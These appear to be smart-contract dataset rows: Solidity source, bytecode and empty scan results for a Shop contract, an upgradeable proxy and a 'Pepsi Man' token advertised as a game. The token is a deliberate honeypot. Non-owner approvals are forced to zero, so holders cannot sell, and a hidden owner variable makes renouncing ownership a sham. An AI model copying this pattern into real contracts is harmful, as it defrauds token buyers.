require(b > 0, errorMessage);
return a % b;
}
}
}
contract Shop {
using SafeMath for uint256;
address public owner;
mapping (uint256 => bool) purchasedTickets;
constructor() {
owner = msg.sender;
}
function buyItem(uint256 _price, uint256 _appFeePercentage, address payable _seller, uint256[] memory _voucher_ids) public payable returns(bool){
require(msg.value >= _price, "You should send over price");
_seller.transfer(msg.value.mul(100 - _appFeePercentage).div(100));
for (uint256 i = 0; i < _voucher_ids.length; i++) {
purchasedTickets[_voucher_ids[i]] = true;
}
return true;
}
function withdraw() public returns(bool){
require(msg.sender == owner, "You are not owner of the contract");
address payable _owner = payable(msg.sender);
_owner.transfer(address(this).balance);
return true;
}
function setOwnerShip(address _newOwner) public returns(bool) {
require(msg.sender == owner, "You are not owner of the contract");
owner = _newOwner;
return true;
}
function contains(uint256[] memory _voucher_ids) public view returns (bool){
bool contained = true;
for (uint256 i = 0; i < _voucher_ids.length; i++) {
if (!purchasedTickets[_voucher_ids[i]]){
contained = false;
}
}
return contained;
}
}
|
0x60806040526004361061004a5760003560e01c8063392235111461004f5780633ccfd60b1461008c5780638da5cb5b146100b7578063a29f085c146100e2578063c0549faf14610112575b600080fd5b34801561005b57600080fd5b5061007660048036038101906100719190610621565b61014f565b60405161008391906107e5565b60405180910390f35b34801561009857600080fd5b506100a1610229565b6040516100ae91906107e5565b60405180910390f35b3480156100c357600080fd5b506100cc61030e565b6040516100d991906107ca565b60405180910390f35b6100fc60048036038101906100f7919061068b565b610332565b60405161010991906107e5565b60405180910390f35b34801561011e57600080fd5b506101396004803603810190610134919061064a565b610486565b60405161014691906107e5565b60405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101d790610800565b60405180910390fd5b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102b190610800565b60405180910390fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610305573d6000803e3d6000fd5b50600191505090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600084341015610377576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036e90610820565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff166108fc6103c360646103b58860646103a69190610939565b3461052090919063ffffffff16565b61053690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156103ee573d6000803e3d6000fd5b5060005b8251811015610479576001806000858481518110610439577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610471906109c7565b9150506103f2565b5060019050949350505050565b6000806001905060005b835181101561051657600160008583815181106104d6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151815260200190815260200160002060009054906101000a900460ff1661050357600091505b808061050e906109c7565b915050610490565b5080915050919050565b6000818361052e91906108df565b905092915050565b6000818361054491906108ae565b905092915050565b600061055f61055a84610871565b610840565b9050808382526020820190508285602086028201111561057e57600080fd5b60005b858110156105ae5781610594888261060c565b845260208401935060208301925050600181019050610581565b5050509392505050565b6000813590506105c781610a9d565b92915050565b6000813590506105dc81610ab4565b92915050565b600082601f8301126105f357600080fd5b813561060384826020860161054c565b91505092915050565b60008135905061061b81610acb565b92915050565b60006020828403121561063357600080fd5b6000610641848285016105b8565b91505092915050565b60006020828403121561065c57600080fd5b600082013567ffffffffffffffff81111561067657600080fd5b610682848285016105e2565b91505092915050565b600080600080608085870312156106a157600080fd5b60006106af8782880161060c565b94505060206106c08782880161060c565b93505060406106d1878288016105cd565b925050606085013567ffffffffffffffff8111156106ee57600080fd5b6106fa878288016105e2565b91505092959194509250565b61070f8161096d565b82525050565b61071e81610991565b82525050565b600061073160218361089d565b91507f596f7520617265206e6f74206f776e6572206f662074686520636f6e7472616360008301527f74000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610797601a8361089d565b91507f596f752073686f756c642073656e64206f7665722070726963650000000000006000830152602082019050919050565b60006020820190506107df6000830184610706565b92915050565b60006020820190506107fa6000830184610715565b92915050565b6000602082019050818103600083015261081981610724565b9050919050565b600060208201905081810360008301526108398161078a565b9050919050565b6000604051905081810181811067ffffffffffffffff8211171561086757610866610a6e565b5b8060405250919050565b600067ffffffffffffffff82111561088c5761088b610a6e565b5b602082029050602081019050919050565b600082825260208201905092915050565b60006108b9826109bd565b91506108c4836109bd565b9250826108d4576108d3610a3f565b5b828204905092915050565b60006108ea826109bd565b91506108f5836109bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561092e5761092d610a10565b5b828202905092915050565b6000610944826109bd565b915061094f836109bd565b92508282101561096257610961610a10565b5b828203905092915050565b60006109788261099d565b9050919050565b600061098a8261099d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109d2826109bd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610a0557610a04610a10565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610aa68161096d565b8114610ab157600080fd5b50565b610abd8161097f565b8114610ac857600080fd5b50565b610ad4816109bd565b8114610adf57600080fd5b5056fea264697066735822122085e826e5811e63f535696f886debac915e7e64c5db41a183cddd91ecbda2360d64736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 8,214 |
0xf48d1d6715396a32bfd2f1fd524b18db93724ffe
|
/**
*Submitted for verification at Etherscan.io on 2021-10-18
*/
/**
*Submitted for verification at Etherscan.io on 2021-10-17
* SPDX-License-Identifier: UNLICENSED
*/
/*
New Pepsi-Man game?
We all used to play Pepsi-Man when we were young!
So that’s why we going to make a special game for you!
With better graphics and awesome gameplay!
Not just a game!
You win the game you get NFT!
Twitter: twitter.com/PepsiManToken
Telegram: t.me/PepsiManToken
Website: pepsimantoken.com
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract PepsiMan is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12 * 10**18;
string private _name = 'Pepsi Man';
string private _symbol = 'PEPSIMAN';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
/*
New Pepsi-Man game?
We all used to play Pepsi-Man when we were young!
So that’s why we going to make a special game for you!
With better graphics and awesome gameplay!
Not just a game!
You win the game you get NFT!
Twitter: twitter.com/PepsiManToken
Telegram: t.me/PepsiManToken
Website: pepsimantoken.com
*/
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b4fe2d7ec3114c9ce6a4f51772aa36843551be6d8376feb354b1a42d7187ceb064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,215 |
0xfccba70c8c9ae907fbabfd52d7c3db5b938fd4d8
|
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b